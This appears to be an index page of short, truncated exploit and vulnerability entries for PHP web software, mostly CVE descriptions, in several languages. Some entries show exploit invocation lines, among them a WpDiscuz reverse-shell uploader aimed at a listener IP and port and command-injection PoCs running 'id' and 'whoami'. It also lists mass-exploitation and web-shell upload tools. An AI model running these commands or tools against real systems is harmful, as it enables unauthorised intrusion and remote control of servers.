CVE-2024-44902

CVE-2024-44902 Schwachstellenbeschreibung Eine Deserialisierungsschwachstelle in Thinkphp v6.1.3 bis v8.0.4 ermöglicht es Angreifern, beliebigen Code auszuführen. Betroffene Versionen Thinkphp v6.1.3 bis v8.0.4 Exploit-Bedingung Das Thinkphp-Framework sollte die Memcached-Erweiterung installiert...

CVE-2022-43117

Descrizione suggerita L'applicazione Password Storage Application in PHP/OOP e MySQL 1.0 di Sourcecodester è stata scoperta contenere multiple vulnerabilità di cross-site scripting XSS tramite i parametri Name, Username, Description e Site Feature. Informazioni aggiuntive Prova di concetto:...

CVE-2025-69212-PoC

CVE-2025-69212 - OpenSTAManager OS Command Injection PoC Verwendung Abhängigkeiten installieren: pip install -r requirements.txt Einzelnen Befehl ausführen und dessen Ausgabe anzeigen: python3 cve-2025-69212poc.py -u http://target.com -U admin -P 'password' -c 'id' Stattdessen eine persistente...

HuangDou UTCMS V9 - OS Command Injection

A vulnerability, which was classified as critical, has been found in HuangDou UTCMS V9. Affected by this issue is some unknown functionality of the file app/modules/ut-cac/admin/cli.php. The manipulation of the argument o leads to os command injection.The attack may be launched remotely. The...

WordPress UserPro 4.9.32 - Cross-Site Scripting

WordPress UserPro 4.9.32 is vulnerable to reflected cross-site scripting because the Instagram PHP API v2 it relies on allows it via the example/success.php errordescription parameter. id: CVE-2019-14470 info: name: WordPress UserPro 4.9.32 - Cross-Site Scripting author: daffainfo severity: mediu...

Revive Adserver 4.2 - Remote Code Execution

Revive Adserver 4.2 is susceptible to remote code execution. An attacker can send a crafted payload to the XML-RPC invocation script and trigger the unserialize call on the "what" parameter in the "openads.spc" RPC method. This can be exploited to perform various types of attacks, e.g...

NUUO Camera <=20250203 - OS Command Injection

NUUO Camera up to 20250203 contains a command injection caused by manipulation of the 'log' argument in /handleconfig.php, letting remote attackers execute arbitrary commands, exploit requires remote access. id: CVE-2025-1338 info: name: NUUO Camera =20250203 - OS Command Injection author: Ark...

Cockpit CMS 0.6.1 - Remote Code Execution

Cockpit before 0.6.1 allows an attacker to inject custom PHP code and achieve Remote Command Execution via registerCriteriaFunction in lib/MongoLite/Database.php, as demonstrated by values in JSON data to the /auth/check or /auth/requestreset URI. id: CVE-2020-35131 info: name: Cockpit CMS 0.6.1 ...

Symfony Profiler - Remote Access via Injected Arguments

symfony/runtime is a module for the Symphony PHP framework which enables decoupling PHP applications from global state. When the registerargvargc php directive is set to on , and users call any URL with a special crafted query string, they are able to change the environment or debug mode used by...

ExpStruts

ExpStruts ExpStruts ist ein php-basierter Massen-Exploiter für CVE-2017-5638 .. Screenshots ⚠️ Voraussetzungen Python3 für MakMans Google Scraper Abk Khan @asystolik...

CVE-2024-25600-mass

Mass-Upload-Shell für CVE python3 exploit.py -l yourlist.txt Shell-Pfad https://examplewebsite.com/asd.php...

CVE-2024-48359

CVE-2024-48359 - Qualitor = v8.24 बिना प्रमाणीकरण के RCE PoC CVE-2024-48359 | Qualitor = v8.24 RCE विवरण Qualitor व्यावसायिक प्रक्रिया प्रबंधन के लिए एक प्लेटफॉर्म है, और यह प्रणाली ब्राजील में विभिन्न कंपनियों में मौजूद है जिन्हें Google dorking का उपयोग करके आसानी से पहचाना जा सकता है। हमारी टी...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 upload de reverse shell Exploit para WpDiscuz 7.0.4 baseado no exploit escrito por h3v0x. Explora a vulnerabilidade e envia um shell reverso em PHP. A inspiração foi o Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 Exempl...

cve-2024-4577

cve-2024-4577 POC Verifica la presenza di vulnerabilità python cve-2024-4577.py -u http://172.16.128.133 Dopo aver rilevato una vulnerabilità, puoi usare -c per eseguire un comando personalizzato python cve-2024-4577.py -u http://172.16.128.133 -c '?php system'whoami';'...

CVE-2018-7600-Drupal-0day-RCE

CVE-2018-7600-Drupal-0day-RCE Drupal 0day Remote PHP Code Execution Perl Dies ist ein 0day RCE Exploit für Drupal CMS Sie können Payload auf dem Server hochladen. CVE : CVE-2018-7600 Cxsecurity : https://cxsecurity.com/issue/WLB-2018040108 So führen Sie den Exploit aus: 1-git clone...

CVE-2025-49113

CVE-2025-49113 – Roundcube Remote Code Execution RCE PoC Dieses Repository enthält einen Proof-of-Concept PoC -Exploit für CVE-2025-49113 , eine kritische Remote-Codeausführungsschwachstelle in Roundcube Webmail vor den Versionen 1.5.10 und 1.6.11. Die Schwachstelle resultiert aus unsicherer...

CVE-2018-20718

CVE-2018-20718 Dies ist ein POC für CVE-2018-20718. Es handelt sich um eine PHP-Object-Injection-Schwachstelle. Die Schwachstelle betrifft alle Versionen von Pydio vor 8.2.1 und führt zu Unauthenticated Remote Code Execution. Sie wurde ursprünglich von RIPS gefunden. Ich habe ein Gadget in...

CVE-2024-47051

Zusammenfassung Eine schlechte Bereinigung des Inhalts, Typs und der Erweiterung einer hochgeladenen Datei in der Asset-Bearbeitungsfunktion ermöglicht es einem authentifizierten Angreifer, beliebigen PHP-Code im Webverzeichnis zu schreiben und den Speicherort dieser Datei zu finden. Dies führt z...

PHP-Injection-in-M4-PDF-Extensions

PHP-Injection-in-M4-PDF-Extensions CVE-2023-50029 ist eine PHP-Injection-Schwachstelle im M4-PDF-Extensions-Modul. Diese Schwachstelle ermöglicht es Angreifern, beliebigen PHP-Code auf dem Server einzuschleusen und auszuführen, wodurch sie die vollständige Kontrolle über das Zielsystem erlangen...

FOXCMS-CVE-2025-29306-POC

FOXCMS Parameterinjektion RCE – CVE-2025-29306 Dieses Repository enthält einen Python-basierten PoC für eine Remote Code Execution RCE-Schwachstelle, die FOXCMS v1.2 betrifft, ein chinesisches Open-Source-Content-Management-System. CVE-ID: CVE-2025-29306 Betrifft: FOXCMS v1.2 Typ: Service Paramet...